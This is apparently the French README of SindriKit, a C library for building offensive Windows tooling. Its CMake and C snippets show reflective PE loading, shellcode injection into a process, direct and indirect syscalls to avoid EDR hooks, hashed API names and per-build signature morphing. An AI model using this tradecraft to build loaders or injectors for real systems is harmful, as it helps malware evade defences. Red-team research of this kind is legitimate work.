
Une bibliothèque C fondamentale pour la construction de capacités offensives opérationnellement crédibles
Le développement offensif mérite une meilleure architecture.
Une bibliothèque C pour construire des capacités offensives.
La plupart des utilitaires offensifs codent en dur leurs mécanismes d'exécution dans la logique de la technique. Un chargeur réflexif ne se contente pas de mapper une image ; il la mappe en utilisant une chaîne spécifique et codée en dur d'appels VirtualAlloc ou NTAPI natifs. Lorsqu'un EDR commence à surveiller cette chaîne spécifique, vous êtes obligé de réécrire l'outil entier.
SindriKit résout ce problème en imposant une séparation des préoccupations via des tables d'abstraction d'interfaces :
En déplaçant les mécanismes d'exécution vers des pointeurs de fonction runtime, vous pouvez remplacer toute votre stratégie, passant d'appels Win32 à des syscalls directs bruts, avec une seule ligne de code — sans modifier votre logique d'exécution du payload.
snd_syscall_resolve_ssn_scan, snd_syscall_resolve_ssn_sort) avec une chaîne de priorité — changez ou étendez les stratégies sans toucher au code métier.SND_MORPH. Génère des signatures binaires uniques à chaque build en injectant des prédicats opaques volatils dans le code C, des mathématiques/NOP fonctionnellement équivalents dans les stubs Assembly, et en brouillant la disposition mémoire des structures principales.cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
Deux lignes suffisent pour que votre outil hérite de toutes les capacités de SindriKit : parsing PE, résolution de syscalls, chargement réflexif...
┌────────────────────────────────────────────────────────────────────────────┐
│ ANY OFFENSIVE INTENT │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API ABSTRACTION LAYER │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ [ future tables ] -> thread · object · ... │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
│ LoadLibraryA │ PEB Walk + EAT │ Operator-defined functions │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
En pratique, cela signifie que chaque domaine suit le même contrat :
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
SindriKit considère la résolution des syscalls comme un mécanisme injectable, en empilant les stratégies par ordre de priorité. Le moteur tente chacune jusqu'à ce que l'une réussisse :
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
L'invocateur est découplé de la résolution des SSN — passez de syscalls directs à indirects sans modifier le code métier. L'invocation indirecte saute vers un gadget légitime de NTDLL, gardant l'adresse de retour du syscall dans ntdll.dll.
Chaque nom d'API et chaîne de module est supprimé du binaire final au moment de la compilation via une seule variable CMake :
set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure
Chaque hachage est calculé avec une graine générée aléatoirement (si SND_RANDOMIZE_SEED=ON). L'empreinte statique change complètement entre les compilations sans toucher une ligne de C.
Un pont assembleur MASM personnalisé pour l'invocation arbitraire de fonctions au moment de l'exécution. Les builds x64 suivent précisément la convention d'appel Microsoft x64 (espace shadow, placement des arguments dans les registres, alignement de la pile). Les builds x86 poussent les arguments dans l'ordre inverse avec prise en charge des cibles cdecl et stdcall.
Un parseur unifié PE32/PE32+ avec un indicateur is_mapped qui gère correctement les images brutes sur disque et les vues mappées en mémoire. Chaque accès au répertoire de données est validé par rapport aux bornes du buffer suivi avant déréférencement. La résolution des exportations prend en charge les chaînes de redirecteurs jusqu'à une profondeur de 4 avec une recherche basée sur le hachage.
Testé contre :
pe_mutator : noms de sections remis à zéro, débordements d'entiers, bornes e_lfanew invalides, imports altérés.Chaque opération offensive est gérée via une structure de contexte discrète avec énumération des étapes. Les opérations peuvent être mises en pause entre les étapes pour l'obfuscation du sommeil ou un déploiement par étapes, reprises proprement, et inspectées pour identifier le point de défaillance exact, jusqu'au sous-système et à la raison.
Initialisez le pipeline de syscalls une seule fois (schéma typique) :
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
L'invocateur est découplé de la résolution des SSN — passez de syscalls directs à indirects sans modifier le code métier. L'invocation indirecte saute vers un gadget légitime de NTDLL, gardant l'adresse de retour du syscall dans ntdll.dll.
Changez de profil d'exécution avec une seule affectation :
ctx.mem_api = &snd_mem_win; // diagnostic
ctx.mem_api = &snd_mem_nt; // NT stubs via PEB + EAT
ctx.mem_api = &snd_mem_sys; // direct syscalls (pipeline required)
La résolution des modules suit le même schéma (snd_mod_win vs snd_mod_nt). Il n'existe pas de backend de module basé sur les syscalls — les imports utilisent le parcours du PEB + EAT même dans les profils _sys complets.
SND_ENABLE_DEBUG=ONPour le développement local. snd_status_t s'étend pour inclure file, line, et un buffer de chaîne context de 128 octets. SND_ERR_CTX et SND_DEBUG_PRINT émettent les transitions de la machine à états, les valeurs des champs PE analysés et les résultats de la résolution des syscalls. Utilisez SND_USE_PRINTF=ON pour envoyer la sortie vers stdout au lieu de la console de débogage.
SND_ENABLE_DEBUG=OFFLa configuration de déploiement standard pour les binaires opérationnels. Chaque chaîne de diagnostic, référence de fichier et numéro de ligne est complètement éliminée à la compilation. snd_status_t se réduit à deux entiers. Rien d'autre.
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_USE_DEFAULTS ON CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine)
Référence complète dans docs/ :
loader_winapi, loader_nowinapi, inject_pe, inject_shell, heavens_gatePrévu : domaine Evasion.
SindriKit est conçu uniquement à des fins éducatives, de recherche et de Red Team autorisé. Pour l'avertissement légal complet et des informations concernant les considérations OpSec, consultez la Politique de sécurité.